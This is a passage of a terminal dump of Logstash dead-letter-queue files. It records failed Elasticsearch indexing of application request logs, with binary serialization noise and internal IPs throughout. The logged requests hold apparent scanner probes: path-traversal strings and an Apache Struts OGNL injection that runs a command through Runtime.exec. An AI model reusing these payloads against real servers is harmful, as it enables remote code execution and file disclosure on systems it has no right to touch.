You are on page 1of 29

 12/02/2024   10:04.48   /home/mobaxterm  ./deadletter_check.

sh
X11 forwarding request failed on channel 0
shipperelkaz61u
total 4
drwxr-xr-x 2 logstash logstash 4096 Feb 10 02:07 main
total 52
-rw-r--r-- 1 logstash logstash 6580 Feb 9 23:07 1.log
-rw-r--r-- 1 logstash logstash 14559 Feb 9 23:08 2.log
-rw-r--r-- 1 logstash logstash 6491 Feb 10 01:59 3.log
-rw-r--r-- 1 logstash logstash 7616 Feb 10 02:07 4.log
-rw-r--r-- 1 logstash logstash 6781 Feb 10 02:07 5.log
-rw-r--r-- 1 logstash logstash 1 Feb 10 02:07 6.log.tmp

1c▒▒▒▒▒վ▒▒2024-02-
10T04:07:40.406105259Zğqjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhttp▒xo
rg.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.Rub
yStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyStringpapplicatio
n/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe42779▒▒▒▒▒▒▒dtag
s▒xorg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz61u▒▒▒lloggerRecor
d▒xorg.logstash.ConvertedMap▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logsta
sh.ConvertedMap▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒istartTime▒torg.jruby.RubyStringx2024-02-
10T04:07:39.340Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T04:07:39.341Z▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.
ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.ut
il.GearLoggerAdapter▒▒▒▒▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T04:07:39.340Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T04:07:39.341Z▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.Rub
yStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒fpragma▒torg.jruby.RubyStringhno-
cache▒ox-forwarded-
for▒torg.jruby.RubyStringk172.16.2.47▒faccept▒torg.jruby.RubyStringxCimage/gif,
image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*▒juser-
agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒oaccept-language▒torg.jruby.RubyStringben▒naccept-
charset▒torg.jruby.RubyStringriso-8859-1,*,utf-
8▒dhost▒torg.jruby.RubyStringl172.16.0.245▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ruby
Stringxhttp://172.16.0.245/
error▒hqueryMap▒xorg.logstash.ConvertedMap▒x../../../../system/
autoexec.ncf▒torg.jruby.RubyString`▒▒▒nconversationId▒torg.jruby.RubyString`▒oreque
stBodySizetagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringx/%2e
%2e/%2e%2e/%2e%2e/%2e%2e/system/
autoexec.ncf▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.
RubyStringeerror▒▒▒nconversationId▒torg.jruby.RubyStringx$8b0abb68-2a1b-4c4b-924a-
83f424290809▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStringp
piepaaz02u_51002▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒gappName▒torg.jruby.Rub
yStringgpi2-epa▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒presponseBodySize
lresponseBody▒torg.jruby.RubyStringx▒{
"timestamp" : "2024-02-10T04:07:39.340+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/examples/jsp/source.jsp"
}▒nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒▒▒h@versiona1j@timestamp▒vorg.logstash.Timestampx2024-02-
10T04:07:39.700469323Z▒dtype▒torg.jruby.RubyStringgapplog2▒curl▒xorg.logstash.Conve
rtedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒ncontent_length▒torg.jruby.
RubyStringe42779▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707538056695*btid=673956*guid=935741cf-8d0a-4092-b11e-
af4e3f389cf5*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lcontent_type▒torg.jruby.RubyStringpapplication/
json▒lrequest_path▒torg.jruby.RubyStringa/
▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drf
irst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒jconnection▒torg.jruby.RubyStringjK
eep-Alive▒nrequest_method▒elasticsearchbyScCould not index event to Elasticsearch.
status: 400, action: ["index", {:_id=>nil, :_index=>"logstash-applog2-
2024.02.10", :routing=>nil}, {"http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"42779"}}},
"tags"=>["shipperelkaz61u"],
"loggerRecord"=>{"logEventList"=>[{"eventStatus"=>"event-failure",
"processPeriodInMs"=>1, "handlerMethodName"=>"initialLoggerRecord",
"startTime"=>"2024-02-10T04:07:39.340Z", "endTime"=>"2024-02-10T04:07:39.341Z",
"eventName"=>"error", "messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter"}],
"processPeriodInMs"=>1, "startTime"=>"2024-02-10T04:07:39.340Z", "endTime"=>"2024-
02-10T04:07:39.341Z", "requestInfo"=>{"requestURI"=>"/error",
"httpHeaderMap"=>{"pragma"=>"no-cache", "x-forwarded-for"=>"172.16.2.47",
"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",
"user-agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"accept-language"=>"en", "accept-charset"=>"iso-8859-1,*,utf-8",
"host"=>"172.16.0.245", "connection"=>"Keep-Alive"}, "userAgent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", "clientIp"=>"172.16.2.47",
"accessUrl"=>"http://172.16.0.245/error",
"queryMap"=>{"../../../../system/autoexec.ncf"=>""}, "conversationId"=>"",
"requestBodySize"=>0,
"tagMap"=>{"queryString"=>"%2e%2e/%2e%2e/%2e%2e/%2e%2e/system/autoexec.ncf"}},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"8b0abb68-2a1b-4c4b-
924a-83f424290809", "appInfo"=>{"serverName"=>"piepaaz02u_51002",
"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa"},
"responseInfo"=>{"responseBodySize"=>133, "responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T04:07:39.340+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/examples/jsp/source.jsp\"\n}",
"responseStatus"=>"999-99-9999"}}, "@version"=>"1", "@timestamp"=>2024-02-
10T04:07:39.700469323Z, "type"=>"applog2", "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"kXozkY0BVNZtbaQiEszZ", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['../../../../system/autoexec.ncf']"}}}}1c▒▒▒▒▒▒),▒2024-02-
10T04:08:33.964983193ZB▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhttp▒x
org.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.Ru
byStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyStringpapplicatio
n/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe16565▒▒▒▒▒▒▒dtag
s▒xorg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz61u▒▒▒lloggerRecor
d▒xorg.logstash.ConvertedMap▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logsta
sh.ConvertedMap▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒istartTime▒torg.jruby.RubyStringx2024-02-
10T04:08:30.425Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T04:08:30.425Z▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.
ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.ut
il.GearLoggerAdapter▒▒▒▒▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T04:08:30.425Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T04:08:30.425Z▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.Rub
yStringf/error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒ox-forwarded-
for▒torg.jruby.RubyStringk172.16.2.47▒dhost▒torg.jruby.RubyStringo172.16.0.245:80▒j
user-agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0; Windows NT
5.1; Trident/4.0)▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE
8.0; Windows NT 5.1;
Trident/4.0)▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ruby
Stringxhttp://172.16.0.245/error▒hqueryMap▒xorg.logstash.ConvertedMap▒yQredirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p764862345a65594d6e51
172.16.2.47').getInputStream())}▒torg.jruby.RubyString`▒▒▒nconversationId▒torg.jrub
y.RubyString`▒orequestBodySizetagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.j
ruby.RubyStringy▒redirect:$%7b%23context%5b
%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-
p764862345a65594d6e51%20172.16.2.47%27%29.getInputStream
%28%29%29%7d▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.
RubyStringeerror▒▒▒nconversationId▒torg.jruby.RubyStringx$d4d7f757-2810-46d9-8fdd-
e68d59b511b3▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStringp
piepaaz02u_51002▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒gappName▒torg.jruby.Rub
yStringgpi2-
epa▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒presponseBodySizelresponseBody▒torg.
jruby.RubyStringxn{
"timestamp" : "2024-02-10T04:08:30.425+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/"
}▒nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒▒▒h@versiona1j@timestamp▒vorg.logstash.Timestampx2024-02-
10T04:08:33.429449534Z▒dtype▒torg.jruby.RubyStringgapplog2▒curl▒xorg.logstash.Conve
rtedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒ncontent_length▒torg.jruby.
RubyStringe16565▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707538110425*btid=673956*guid=4636ccb7-ab28-432e-9267-
5e6dba667ebf*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lcontent_type▒torg.jruby.RubyStringpapplication/
json▒lrequest_path▒torg.jruby.RubyStringa/
▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drf
irst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒jconnection▒torg.jruby.RubyStringjK
eep-
Alive▒nrequest_method▒elasticsearchbyStringdPOST▒▒▒▒▒▒▒▒▒▒▒▒▒@1af226484fd3cf8541c81
ead78cf403bc6dcdb26889a0fbf0a091c6d2a375910
;Could not index event to Elasticsearch. status: 400, action: ["index", {:_id=>nil,
:_index=>"logstash-applog2-2024.02.10", :routing=>nil}, {"http"=>{"method"=>"POST",
"version"=>"HTTP/1.1", "request"=>{"mime_type"=>"application/json",
"body"=>{"bytes"=>"16565"}}}, "tags"=>["shipperelkaz61u"],
"loggerRecord"=>{"logEventList"=>[{"eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "handlerMethodName"=>"initialLoggerRecord",
"startTime"=>"2024-02-10T04:08:30.425Z", "endTime"=>"2024-02-10T04:08:30.425Z",
"eventName"=>"error", "messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter"}],
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T04:08:30.425Z", "endTime"=>"2024-
02-10T04:08:30.425Z", "requestInfo"=>{"requestURI"=>"/error", "httpHeaderMap"=>{"x-
forwarded-for"=>"172.16.2.47", "host"=>"172.16.0.245:80",
"user-agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)"},
"userAgent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"clientIp"=>"172.16.2.47", "accessUrl"=>"http://172.16.0.245/error",
"queryMap"=>{"redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p764862345a65594d6e51
172.16.2.47').getInputStream())}"=>""}, "conversationId"=>"", "requestBodySize"=>0,
"tagMap"=>{"queryString"=>"redirect:$%7b%23context%5b
%27xwork.MethodAccessor.denyMethodExecution%27%5d%3dfalse%2c%23f%3d
%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess
%27%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue
%29%2c@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime
%28%29.exec%28%27ping%20-c%203%20-
p764862345a65594d6e51%20172.16.2.47%27%29.getInputStream%28%29%29%7d"}},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"d4d7f757-2810-46d9-
8fdd-e68d59b511b3", "appInfo"=>{"serverName"=>"piepaaz02u_51002",
"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa"},
"responseInfo"=>{"responseBodySize"=>110, "responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T04:08:30.425+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/\"\n}", "responseStatus"=>"999-99-
9999"}}, "@version"=>"1", "@timestamp"=>2024-02-10T04:08:33.429449534Z,
"type"=>"applog2", "url"=>{"path"=>"/", "domain"=>"logstash2.drfirst",
"port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}], response:
{"index"=>{"_index"=>"logstash-applog2-2024.02.10", "_id"=>"ICczkY0BlOWvilgM5Hil",
"status"=>400, "error"=>{"type"=>"illegal_argument_exception", "
reason"=>"Limit of mapping depth [20] has been exceeded due to object field
[loggerRecord.requestInfo.queryMap.redirect:$
{#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getCl
ass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_m
emberAccess,true),@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRun
time().exec('ping -c 3 -p764862345a65594d6e51 172.16.2.47')]"}}}c▒▒▒▒▒▒ѹ▒2024-02-
10T04:08:37.194593957Z3▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhttp▒x
org.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.Ru
byStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyStringpapplicatio
n/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe31354▒▒▒▒▒▒▒dtag
s▒xorg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz61u▒▒▒lloggerRecor
d▒xorg.logstash.ConvertedMap▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logsta
sh.ConvertedMap▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒istartTime▒torg.jruby.RubyStringx2024-02-
10T04:08:35.472Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T04:08:35.472Z▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.
ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.ut
il.GearLoggerAdapter▒▒▒▒▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T04:08:35.472Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T04:08:35.472Z▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.Rub
yStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒fpragma▒torg.jruby.RubyStringhno-
cache▒ox-forwarded-
for▒torg.jruby.RubyStringk172.16.2.47▒faccept▒torg.jruby.RubyStringxCimage/gif,
image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*▒juser-
agent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;
Trident/4.0)▒oaccept-language▒torg.jruby.RubyStringben▒naccept-
charset▒torg.jruby.RubyStringriso-8859-1,*,utf-
8▒dhost▒torg.jruby.RubyStringl172.16.0.245▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ruby
Stringxhttp://172.16.0.245/error▒hqueryMap▒xorg.logstash.ConvertedMap▒xcsys:/
novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf▒torg.jruby.RubyString`▒▒▒nconversationI
d▒torg.jruby.RubyString`▒orequestBodySizetagMap▒xorg.logstash.ConvertedMap▒kquerySt
ring▒torg.jruby.RubyStringxcsys:/novonyx/suitespot/docs/sewse/
viewcode.jse+httplist+httplist/../../../../../system/
autoexec.ncf▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.
RubyStringeerror▒▒▒nconversationId▒torg.jruby.RubyStringx$6629f5c5-1017-4eda-9a7b-
aba0580d9b70▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStringp
piepaaz02u_51002▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒gappName▒torg.jruby.Rub
yStringgpi2-
epa▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒presponseBodySizelresponseBody▒torg.
jruby.RubyStringx|{
"timestamp" : "2024-02-10T04:08:35.472+00:00",
"status" : 404,
"error" : "Not Found",
"path" : "/lcgi/sewse.nlm"
}▒nresponseStatus▒torg.jruby.RubyStringk999-99-
9999▒▒▒▒▒h@versiona1j@timestamp▒vorg.logstash.Timestampx2024-02-
10T04:08:37.082507246Z▒dtype▒torg.jruby.RubyStringgapplog2▒curl▒xorg.logstash.Conve
rtedMap▒dpath▒torg.jruby.RubyStringa/
▒fdomain▒torg.jruby.RubyStringqlogstash2.drfirst▒dport▒▒▒dhost▒xorg.logstash.Conver
tedMap▒bip▒torg.jruby.RubyStringl172.16.0.180▒▒▒▒▒dMETA▒xorg.logstash.ConvertedMap▒
einput▒xorg.logstash.ConvertedMap▒dhttp▒xorg.logstash.ConvertedMap▒grequest▒xorg.lo
gstash.ConvertedMap▒gheaders▒xorg.logstash.ConvertedMap▒ncontent_length▒torg.jruby.
RubyStringe31354▒qsingularityheader▒torg.jruby.RubyStringy!
appId=6817*ctrlguid=1707298522*acctguid=d63655a3-4506-40b9-a458-
0f04dad44f92*ts=1707538114078*btid=673956*guid=bfcbb1e3-aab2-4afd-8328-
f4376aa58df2*exitguid=1|1|
1*unresolvedexitid=202365*tcop=1:5063506*cidfrom=24188*etypeorder=HTTP*esubtype=HTT
P*cidto={[UNRESOLVED]
[202365]}*tcop=1:5063506▒lcontent_type▒torg.jruby.RubyStringpapplication/
json▒lrequest_path▒torg.jruby.RubyStringa/
▒lhttp_version▒torg.jruby.RubyStringhHTTP/
1.1▒khttp_accept▒qorg.jruby.RubyNil▒▒ihttp_host▒torg.jruby.RubyStringwlogstash2.drf
irst:50581▒ohttp_user_agent▒qorg.jruby.RubyNil▒▒jconnection▒torg.jruby.RubyStringjK
eep-
Alive▒nrequest_method▒elasticsearchbyStringdPOST▒▒▒▒▒▒▒▒▒▒▒▒▒@1af226484fd3cf8541c81
ead78cf403bc6dcdb26889a0fbf0a091c6d2a375910
Could not index event to Elasticsearch. status: 400, action: ["index",
{:_id=>nil, :_index=>"logstash-applog2-2024.02.10", :routing=>nil},
{"http"=>{"method"=>"POST", "version"=>"HTTP/1.1",
"request"=>{"mime_type"=>"application/json", "body"=>{"bytes"=>"31354"}}},
"tags"=>["shipperelkaz61u"],
"loggerRecord"=>{"logEventList"=>[{"eventStatus"=>"event-failure",
"processPeriodInMs"=>0, "handlerMethodName"=>"initialLoggerRecord",
"startTime"=>"2024-02-10T04:08:35.472Z", "endTime"=>"2024-02-10T04:08:35.472Z",
"eventName"=>"error", "messageList"=>[],
"handlerClassName"=>"com.drfirst.gear.logger.util.GearLoggerAdapter"}],
"processPeriodInMs"=>0, "startTime"=>"2024-02-10T04:08:35.472Z", "endTime"=>"2024-
02-10T04:08:35.472Z", "requestInfo"=>{"requestURI"=>"/error",
"httpHeaderMap"=>{"pragma"=>"no-cache", "x-forwarded-for"=>"172.16.2.47",
"accept"=>"image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*",
"user-agent"=>"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)",
"accept-language"=>"en", "accept-charset"=>"iso-8859-1,*,utf-8",
"host"=>"172.16.0.245", "connection"=>"Keep-Alive"}, "userAgent"=>"Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)", "clientIp"=>"172.16.2.47",
"accessUrl"=>"http://172.16.0.245/error",
"queryMap"=>{"sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf"=>""}, "conversationId"=>"",
"requestBodySize"=>0,
"tagMap"=>{"queryString"=>"sys:/novonyx/suitespot/docs/sewse/viewcode.jse+httplist+
httplist/../../../../../system/autoexec.ncf"}},
"controllerInfo"=>{"actionName"=>"error"}, "conversationId"=>"6629f5c5-1017-4eda-
9a7b-aba0580d9b70", "appInfo"=>{"serverName"=>"piepaaz02u_51002",
"appVersion"=>"1.37.0.1", "appName"=>"pi2-epa"},
"responseInfo"=>{"responseBodySize"=>124, "responseBody"=>"{\
n \"timestamp\" : \"2024-02-10T04:08:35.472+00:00\",\n \"status\" : 404,\
n \"error\" : \"Not Found\",\n \"path\" : \"/lcgi/sewse.nlm\"\n}",
"responseStatus"=>"999-99-9999"}}, "@version"=>"1", "@timestamp"=>2024-02-
10T04:08:37.082507246Z, "type"=>"applog2", "url"=>{"path"=>"/",
"domain"=>"logstash2.drfirst", "port"=>50581}, "host"=>{"ip"=>"172.16.0.180"}}],
response: {"index"=>{"_index"=>"logstash-applog2-2024.02.10",
"_id"=>"hkYzkY0BI_7vIEw78s5A", "status"=>400,
"error"=>{"type"=>"mapper_parsing_exception", "
reason"=>"failed to parse", "caused_by"=>{"type"=>"illegal_argument_exception", "
reason"=>"field name cannot contain only whitespace:
['sys:/novonyx/suitespot/docs/sewse/viewcode.jse httplist
httplist/../../../../../system/autoexec.ncf']"}}}}1cM▒▒▒▒▒>▒▒2024-02-
10T06:59:23.136668389Z▒▒qjava.util.HashMap▒dDATA▒xorg.logstash.ConvertedMap▒dhttp▒x
org.logstash.ConvertedMap▒fmethod▒torg.jruby.RubyStringdPOST▒gversion▒torg.jruby.Ru
byStringhHTTP/
1.1▒grequest▒xorg.logstash.ConvertedMap▒imime_type▒torg.jruby.RubyStringpapplicatio
n/
json▒dbody▒xorg.logstash.ConvertedMap▒ebytes▒torg.jruby.RubyStringe93405▒▒▒▒▒▒▒dtag
s▒xorg.logstash.ConvertedList▒▒torg.jruby.RubyStringoshipperelkaz61u▒▒▒lloggerRecor
d▒xorg.logstash.ConvertedMap▒llogEventList▒xorg.logstash.ConvertedList▒▒xorg.logsta
sh.ConvertedMap▒keventStatus▒torg.jruby.RubyStringmevent-
failure▒qprocessPeriodInMshandlerMethodName▒torg.jruby.RubyStringsinitialLoggerReco
rd▒istartTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.193Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.193Z▒ieventName▒torg.jruby.RubyStringeerror▒kmessageList▒xorg.logstash.
ConvertedList▒▒▒phandlerClassName▒torg.jruby.RubyStringx.com.drfirst.gear.logger.ut
il.GearLoggerAdapter▒▒▒▒▒qprocessPeriodInMsstartTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.193Z▒gendTime▒torg.jruby.RubyStringx2024-02-
10T06:59:22.193Z▒krequestInfo▒xorg.logstash.ConvertedMap▒jrequestURI▒torg.jruby.Rub
yStringf/
error▒mhttpHeaderMap▒xorg.logstash.ConvertedMap▒fpragma▒torg.jruby.RubyStringhno-
cache▒faccept▒torg.jruby.RubyStringxCimage/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, image/png, */*▒juser-agent▒torg.jruby.RubyStringx?Mozilla/4.0
(compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)▒oaccept-
language▒torg.jruby.RubyStringben▒naccept-charset▒torg.jruby.RubyStringriso-8859-
1,*,utf-
8▒dhost▒torg.jruby.RubyStringk172.16.3.86▒jconnection▒torg.jruby.RubyStringjKeep-
Alive▒▒▒iuserAgent▒torg.jruby.RubyStringx?Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1;
Trident/4.0)▒hclientIp▒torg.jruby.RubyStringk172.16.2.47▒iaccessUrl▒torg.jruby.Ruby
Stringxhttp://172.16.3.86/error▒hqueryMap▒xorg.logstash.ConvertedMap▒x../../../../
system/
autoexec.ncf▒torg.jruby.RubyString`▒▒▒nconversationId▒torg.jruby.RubyString`▒oreque
stBodySizetagMap▒xorg.logstash.ConvertedMap▒kqueryString▒torg.jruby.RubyStringx/%2e
%2e/%2e%2e/%2e%2e/%2e%2e/system/
autoexec.ncf▒▒▒▒▒ncontrollerInfo▒xorg.logstash.ConvertedMap▒jactionName▒torg.jruby.
RubyStringeerror▒▒▒nconversationId▒torg.jruby.RubyStringx$c6a04f36-d327-45f5-9034-
2acdfd277f59▒gappInfo▒xorg.logstash.ConvertedMap▒jserverName▒torg.jruby.RubyStringp
piepaaz02u_51002▒jappVersion▒torg.jruby.RubyStringh1.37.0.1▒gappName▒torg.jruby.Rub
yStringgpi2-epa▒▒▒lresponseInfo▒xorg.logstash.ConvertedMap▒presponseBodySize
